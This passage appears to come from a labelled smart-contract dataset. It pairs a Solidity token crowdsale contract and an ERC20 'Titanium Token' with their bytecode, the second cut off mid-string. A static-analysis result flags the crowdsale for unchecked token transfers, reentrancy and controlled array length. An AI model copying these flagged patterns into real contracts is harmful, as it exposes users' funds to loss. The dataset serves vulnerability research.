event SaleStopped(address _owner, uint256 time);
//Event to trigger normal flow of sale end
event Finalized(address _owner, uint256 time);
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
//modifiers
modifier _saleActive(){
require(salesActive);
_;
}
modifier nonZeroAddress(address _to) {
require(_to != 0x0);
_;
}
modifier nonZeroEth() {
require(msg.value > 0);
_;
}
modifier _saleEnded() {
require(saleEnded);
_;
}
modifier tiersEmpty(){
require(noOfTiers==0);
_;
}
function MIOTCrowdsales(address _tokenToBeUsed, address _wallet)public nonZeroAddress(_tokenToBeUsed) nonZeroAddress(_wallet){
token = Token(_tokenToBeUsed);
vault = new Vault(_wallet);
}
/**
* @dev Check if sale contract has enough tokens on its account balance
* to reward all possible participations within sale period
*/
function powerUpContract() external onlyOwner {
require(!contractPoweredUp);
// Contract should not be powered up previously
require(!salesActive);
// Contract should have enough Parsec credits
require(token.balanceOf(this) >= crowdSaleHardCap);
//check whether tier information has been entered
require(noOfTiers>0 && tiers.length==noOfTiers);
//activate the sale process
salesActive=true;
contractPoweredUp = true;
}
//for Emergency stop of the sale
function emergencyStop() public onlyOwner _saleActive{
salesActive = false;
saleEnded = true;
vault.close();
SaleStopped(msg.sender, now);
}
/**
* @dev Must be called after sale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize()public onlyOwner _saleActive{
require(saleTimeOver());
salesActive = false;
saleEnded = true;
vault.close();
Finalized(msg.sender, now);
}
// @return true if all the tiers has been ended
function saleTimeOver() public view returns (bool) {
if(noOfTiers==0){
//since no tiers has been provided yet, hence sales has not started to end
return false;
}
//If last tier has ended, it mean all tiers are finished
return now > tiers[noOfTiers-1].endTime;
}
//if crowdsales is over, the money rasied should be transferred to the wallet address
function withdrawFunds() public onlyOwner _saleEnded{
vault.withdrawToWallet();
}
/**
* @dev Can be called only once. The method to allow owner to set tier information
* @param _noOfTiers The integer to set number of tiers
* @param _startTimes The array containing start time of each tier
* @param _endTimes The array containing end time of each tier
* @param _hardCaps The array containing hard cap for each tier
* @param _rates The array containing number of tokens per ether for each tier
* @param _bonusPercentages The array containing bonus percentage for each tier
* The arrays should be in sync with each other. For each index 0 for each of the array should contain info about Tier 1, similarly for Tier2, 3,4 and 5.
* Sales hard cap will be the hard cap of last tier
*/
function setTiersInfo(uint8 _noOfTiers, uint256[] _startTimes, uint256[] _endTimes, uint256[] _hardCaps, uint256[] _rates, uint8[] _bonusPercentages)public onlyOwner tiersEmpty{
//Minimu number of tiers should be 1 and less than or equal to 5
require(_noOfTiers>=1 && _noOfTiers<=5);
//Each array should contain info about each tier
require(_startTimes.length == _noOfTiers);
require(_endTimes.length==_noOfTiers);
require(_hardCaps.length==_noOfTiers);
require(_rates.length==_noOfTiers);
require(_bonusPercentages.length==_noOfTiers);
noOfTiers = _noOfTiers;
for(uint8 i=0;i<noOfTiers;i++){
require(_hardCaps[i]>0);
require(_endTimes[i]>_startTimes[i]);
require(_rates[i]>0);
require(_bonusPercentages[i]>0);
if(i>0){
//check hard cap for this tier should be greater than the previous tier
require(_hardCaps[i] > _hardCaps[i-1]);
//start time of this tier should be greater than previous tier
require(_startTimes[i]>_endTimes[i-1]);
tiers.push(TierInfo({
hardcap:_hardCaps[i].mul( 10 ** uint256(token.decimals())),
startTime:_startTimes[i],
endTime:_endTimes[i],
rate:_rates[i],
bonusPercentage:_bonusPercentages[i],
weiRaised:0
}));
}
else{
//start time of tier1 should be greater than current time
require(_startTimes[i]>now);
tiers.push(TierInfo({
hardcap:_hardCaps[i].mul( 10 ** uint256(token.decimals())), //multiplying with decimal places. So if hard cap is set to 1 it is actually set to 1 * 10^decimals
startTime:_startTimes[i],
endTime:_endTimes[i],
rate:_rates[i],
bonusPercentage:_bonusPercentages[i],
weiRaised:0
}));
}
}
crowdSaleHardCap = _hardCaps[noOfTiers-1].mul( 10 ** uint256(token.decimals()));
}
/**
* @dev Allows owner to transfer unsold tokens to his/her address
* This method should only be called once the sale has been stopped/ended
*/
function ownerWithdrawUnspentCredits()public onlyOwner _saleEnded{
require(!unspentCreditsWithdrawn);
unspentCreditsWithdrawn = true;
token.transfer(owner, token.balanceOf(this));
}
//Fallback function used to buytokens
function()public payable{
buyTokens(msg.sender);
}
/**
* @dev Low level token purchase function
* @param beneficiary The address who will receive the tokens for this transaction
*/
function buyTokens(address beneficiary)public _saleActive nonZeroEth nonZeroAddress(beneficiary) payable returns(bool){
int8 currentTierIndex = getCurrentlyRunningTier();
assert(currentTierIndex>=0);
TierInfo storage currentlyRunningTier = tiers[uint256(currentTierIndex)];
//hard cap for this tier has not been reached
require(tokensSold < currentlyRunningTier.hardcap);
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(currentlyRunningTier.rate);
uint256 bonusedTokens = applyBonus(tokens, currentlyRunningTier.bonusPercentage);
//Total tokens sold including current sale should be less than hard cap of this tier
assert(tokensSold.add(bonusedTokens) <= currentlyRunningTier.hardcap);
tokensSold = tokensSold.add(bonusedTokens);
totalFunding = totalFunding.add(weiAmount);
currentlyRunningTier.weiRaised = currentlyRunningTier.weiRaised.add(weiAmount);
vault.deposit.value(msg.value)(msg.sender);
token.transfer(beneficiary, bonusedTokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, bonusedTokens);
}
function applyBonus(uint256 tokens, uint8 percent) internal pure returns (uint256 bonusedTokens) {
uint256 tokensToAdd = tokens.mul(percent).div(100);
return tokens.add(tokensToAdd);
}
/**
* @dev returns the currently running tier index as per time
* Return -1 if no tier is running currently
* */
function getCurrentlyRunningTier()public view returns(int8){
for(uint8 i=0;i<noOfTiers;i++){
if(now>=tiers[i].startTime && now<tiers[i].endTime){
return int8(i);
}
}
return -1;
}
/**
* @dev Get functing info of user/address. It will return how much funding the user has made in terms of wei
*/
function getFundingInfoForUser(address _user)public view nonZeroAddress(_user) returns(uint256){
return vault.deposited(_user);
}
}
|
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063039af9eb1461013457806306d145c91461019e5780632355300f146101f557806324600fc314610224578063326b10011461023b5780634a6bfa2d146102665780634bb278f314610295578063518ab2a8146102ac5780635b389dbb146102d757806363a599a4146102ee5780636f03e307146103055780638b6932f1146104845780638da5cb5b146104b35780639b8906ae1461050a578063a5c5463f14610539578063dd3010571461056a578063ea6955e51461059b578063ec8ac4d8146105b2578063f2fde38b14610600578063fbfa77cf14610643578063fc0c546a1461069a578063fe47a8a7146106f1575b6101313361071c565b50005b34801561014057600080fd5b5061015f60048036038101908080359060200190929190505050610ac7565b604051808781526020018681526020018581526020018481526020018360ff1660ff168152602001828152602001965050505050505060405180910390f35b3480156101aa57600080fd5b506101df600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b1f565b6040518082815260200191505060405180910390f35b34801561020157600080fd5b5061020a610c48565b604051808215151515815260200191505060405180910390f35b34801561023057600080fd5b50610239610c5b565b005b34801561024757600080fd5b50610250610d71565b6040518082815260200191505060405180910390f35b34801561027257600080fd5b5061027b610d77565b604051808215151515815260200191505060405180910390f35b3480156102a157600080fd5b506102aa610d8a565b005b3480156102b857600080fd5b506102c1610f54565b6040518082815260200191505060405180910390f35b3480156102e357600080fd5b506102ec610f5a565b005b3480156102fa57600080fd5b50610303611170565b005b34801561031157600080fd5b50610482600480360381019080803560ff1690602001909291908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050611327565b005b34801561049057600080fd5b50610499611b22565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104c8611b85565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561051657600080fd5b5061051f611baa565b604051808215151515815260200191505060405180910390f35b34801561054557600080fd5b5061054e611bbd565b604051808260000b60000b815260200191505060405180910390f35b34801561057657600080fd5b5061057f611c79565b604051808260ff1660ff16815260200191505060405180910390f35b3480156105a757600080fd5b506105b0611c8c565b005b6105e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061071c565b604051808215151515815260200191505060405180910390f35b34801561060c57600080fd5b50610641600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f54565b005b34801561064f57600080fd5b506106586120a9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106a657600080fd5b506106af6120cf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106fd57600080fd5b506107066120f5565b6040518082815260200191505060405180910390f35b600080600080600080600860009054906101000a900460ff16151561074057600080fd5b60003411151561074f57600080fd5b8660008173ffffffffffffffffffffffffffffffffffffffff161415151561077657600080fd5b61077e611bbd565b955060008660000b1215151561079057fe5b60048660000b8154811015156107a257fe5b9060005260206000209060060201945084600001546007541015156107c657600080fd5b3493506107e08560030154856120fb90919063ffffffff16565b92506107fd838660040160009054906101000a900460ff16612136565b915084600001546108198360075461218090919063ffffffff16565b1115151561082357fe5b6108388260075461218090919063ffffffff16565b6007819055506108538460055461218090919063ffffffff16565b60058190555061087084866005015461218090919063ffffffff16565b8560050181905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f340fa0134336040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506000604051808303818588803b15801561093557600080fd5b505af1158015610949573d6000803e3d6000fd5b5050505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb89846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1357600080fd5b505af1158015610a27573d6000803e3d6000fd5b505050506040513d6020811015610a3d57600080fd5b8101908080519060200190929190505050508773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188685604051808381526020018281526020019250505060405180910390a3505050505050919050565b600481815481101515610ad657fe5b90600052602060002090600602016000915090508060000154908060010154908060020154908060030154908060040160009054906101000a900460ff16908060050154905086565b60008160008173ffffffffffffffffffffffffffffffffffffffff1614151515610b4857600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cb13cddb846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610c0557600080fd5b505af1158015610c19573d6000803e3d6000fd5b505050506040513d6020811015610c2f57600080fd5b8101908080519060200190929190505050915050919050565b600860029054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb657600080fd5b600860019054906101000a900460ff161515610cd157600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166303ba27f66040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b158015610d5757600080fd5b505af1158015610d6b573d6000803e3d6000fd5b50505050565b60035481565b600860009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610de557600080fd5b600860009054906101000a900460ff161515610e0057600080fd5b610e08611b22565b1515610e1357600080fd5b6000600860006101000a81548160ff0219169083151502179055506001600860016101000a81548160ff021916908315150217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166343d726d66040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b158015610ecf57600080fd5b505af1158015610ee3573d6000803e3d6000fd5b505050507f66b6851664a82efe6b871e434faba2b11421d2dad65eb71a344ae76cca8a2b863342604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fb557600080fd5b600860039054906101000a900460ff16151515610fd157600080fd5b600860009054906101000a900460ff16151515610fed57600080fd5b600354600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156110ad57600080fd5b505af11580156110c1573d6000803e3d6000fd5b505050506040513d60208110156110d757600080fd5b8101908080519060200190929190505050101515156110f557600080fd5b6000600660009054906101000a900460ff1660ff1611801561112d5750600660009054906101000a900460ff1660ff16600480549050145b151561113857600080fd5b6001600860006101000a81548160ff0219169083151502179055506001600860036101000a81548160ff021916908315150217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111cb57600080fd5b600860009054906101000a900460ff1615156111e657600080fd5b6000600860006101000a81548160ff0219169083151502179055506001600860016101000a81548160ff021916908315150217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166343d726d66040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b1580156112a257600080fd5b505af11580156112b6573d6000803e3d6000fd5b505050507f4898556e3bd8b06263e50e938f30f736c1fd2030390474dd6bc0b28d8c5450373342604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561138457600080fd5b6000600660009054906101000a900460ff1660ff161415156113a557600080fd5b60018760ff16101580156113bd575060058760ff1611155b15156113c857600080fd5b8660ff1686511415156113da57600080fd5b8660ff1685511415156113ec57600080fd5b8660ff1684511415156113fe57600080fd5b8660ff16835114151561141057600080fd5b8660ff16825114151561142257600080fd5b86600660006101000a81548160ff021916908360ff160217905550600090505b600660009054906101000a900460ff1660ff168160ff161015611a0e576000848260ff1681518110151561147257fe5b9060200190602002015111151561148857600080fd5b858160ff1681518110151561149957fe5b90602001906020020151858260ff168151811015156114b457fe5b906020019060200201511115156114ca57600080fd5b6000838260ff168151811015156114dd57fe5b906020019060200201511115156114f357600080fd5b6000828260ff1681518110151561150657fe5b9060200190602002015160ff1611151561151f57600080fd5b60008160ff1611156117c957836001820360ff1681518110151561153f57fe5b90602001906020020151848260ff1681518110151561155a57fe5b9060200190602002015111151561157057600080fd5b846001820360ff1681518110151561158457fe5b90602001906020020151868260ff1681518110151561159f57fe5b906020019060200201511115156115b557600080fd5b600460c0604051908101604052806116b6600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561164c57600080fd5b505af1158015611660573d6000803e3d6000fd5b505050506040513d602081101561167657600080fd5b810190808051906020019092919050505060ff16600a0a888660ff1681518110151561169e57fe5b906020019060200201516120fb90919063ffffffff16565b8152602001888460ff168151811015156116cc57fe5b906020019060200201518152602001878460ff168151811015156116ec57fe5b906020019060200201518152602001858460ff1681518110151561170c57fe5b906020019060200201518152602001848460ff1681518110151561172c57fe5b9060200190602002015160ff1681526020016000815250908060018154018082558091505090600182039060005260206000209060060201600090919290919091506000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff021916908360ff16021790555060a08201518160050155505050611a01565b42868260ff168151811015156117db57fe5b906020019060200201511115156117f157600080fd5b600460c0604051908101604052806118f2600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561188857600080fd5b505af115801561189c573d6000803e3d6000fd5b505050506040513d60208110156118b257600080fd5b810190808051906020019092919050505060ff16600a0a888660ff168151811015156118da57fe5b906020019060200201516120fb90919063ffffffff16565b8152602001888460ff1681518110151561190857fe5b906020019060200201518152602001878460ff1681518110151561192857fe5b906020019060200201518152602001858460ff1681518110151561194857fe5b906020019060200201518152602001848460ff1681518110151561196857fe5b9060200190602002015160ff1681526020016000815250908060018154018082558091505090600182039060005260206000209060060201600090919290919091506000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff021916908360ff16021790555060a082015181600501555050505b8080600101915050611442565b611b13600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015611a9757600080fd5b505af1158015611aab573d6000803e3d6000fd5b505050506040513d6020811015611ac157600080fd5b810190808051906020019092919050505060ff16600a0a856001600660009054906101000a900460ff160360ff16815181101515611afb57fe5b906020019060200201516120fb90919063ffffffff16565b60038190555050505050505050565b600080600660009054906101000a900460ff1660ff161415611b475760009050611b82565b60046001600660009054906101000a900460ff160360ff16815481101515611b6b57fe5b906000526020600020906006020160020154421190505b90565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860019054906101000a900460ff1681565b600080600090505b600660009054906101000a900460ff1660ff168160ff161015611c515760048160ff16815481101515611bf457fe5b9060005260206000209060060201600101544210158015611c37575060048160ff16815481101515611c2257fe5b90600052602060002090600602016002015442105b15611c4457809150611c75565b8080600101915050611bc5565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff91505b5090565b600660009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ce757600080fd5b600860019054906101000a900460ff161515611d0257600080fd5b600860029054906101000a900460ff16151515611d1e57600080fd5b6001600860026101000a81548160ff021916908315150217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611e5657600080fd5b505af1158015611e6a573d6000803e3d6000fd5b505050506040513d6020811015611e8057600080fd5b81019080805190602001909291905050506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611f1657600080fd5b505af1158015611f2a573d6000803e3d6000fd5b505050506040513d6020811015611f4057600080fd5b810190808051906020019092919050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611faf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611feb57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b6000806000841415612110576000915061212f565b828402905082848281151561212157fe5b0414151561212b57fe5b8091505b5092915050565b60008061216260646121548560ff16876120fb90919063ffffffff16565b61219e90919063ffffffff16565b9050612177818561218090919063ffffffff16565b91505092915050565b600080828401905083811015151561219457fe5b8091505092915050565b60008082848115156121ac57fe5b04905080915050929150505600a165627a7a7230582023ca5d9a1843f0e6f9534c8fa2ae36c3530000f56aac24849d722f270758a4e10029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 4,111 |
0xc53921494c53134241b40f8a364a528aa43a8097
|
/**
*Submitted for verification at Etherscan.io on 2020-09-01
*/
//SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
require(_totalSupply <= 1e27, "_totalSupply exceed hard limit");
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract TitaniumToken is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
mapping (address => bool) public minters;
constructor () public ERC20Detailed("Titanium Token", "TITA", 18) {
governance = msg.sender;
addMinter(governance);
// underlying _mint function has hard limit
mint(governance, 1e27);
}
function mint(address account, uint amount) public {
require(minters[msg.sender], "!minter");
_mint(account, amount);
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function addMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = true;
}
function removeMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = false;
}
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80635aa6e675116100a2578063a457c2d711610071578063a457c2d71461055b578063a9059cbb146105c1578063ab033ea914610627578063dd62ed3e1461066b578063f46eccc4146106e357610116565b80635aa6e675146103f257806370a082311461043c57806395d89b4114610494578063983b2d561461051757610116565b80633092afd5116100e95780633092afd5146102a8578063313ce567146102ec578063395093511461031057806340c10f191461037657806342966c68146103c457610116565b806306fdde031461011b578063095ea7b31461019e57806318160ddd1461020457806323b872dd14610222575b600080fd5b61012361073f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ea600480360360408110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e1565b604051808215151515815260200191505060405180910390f35b61020c6107ff565b6040518082815260200191505060405180910390f35b61028e6004803603606081101561023857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610809565b604051808215151515815260200191505060405180910390f35b6102ea600480360360208110156102be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690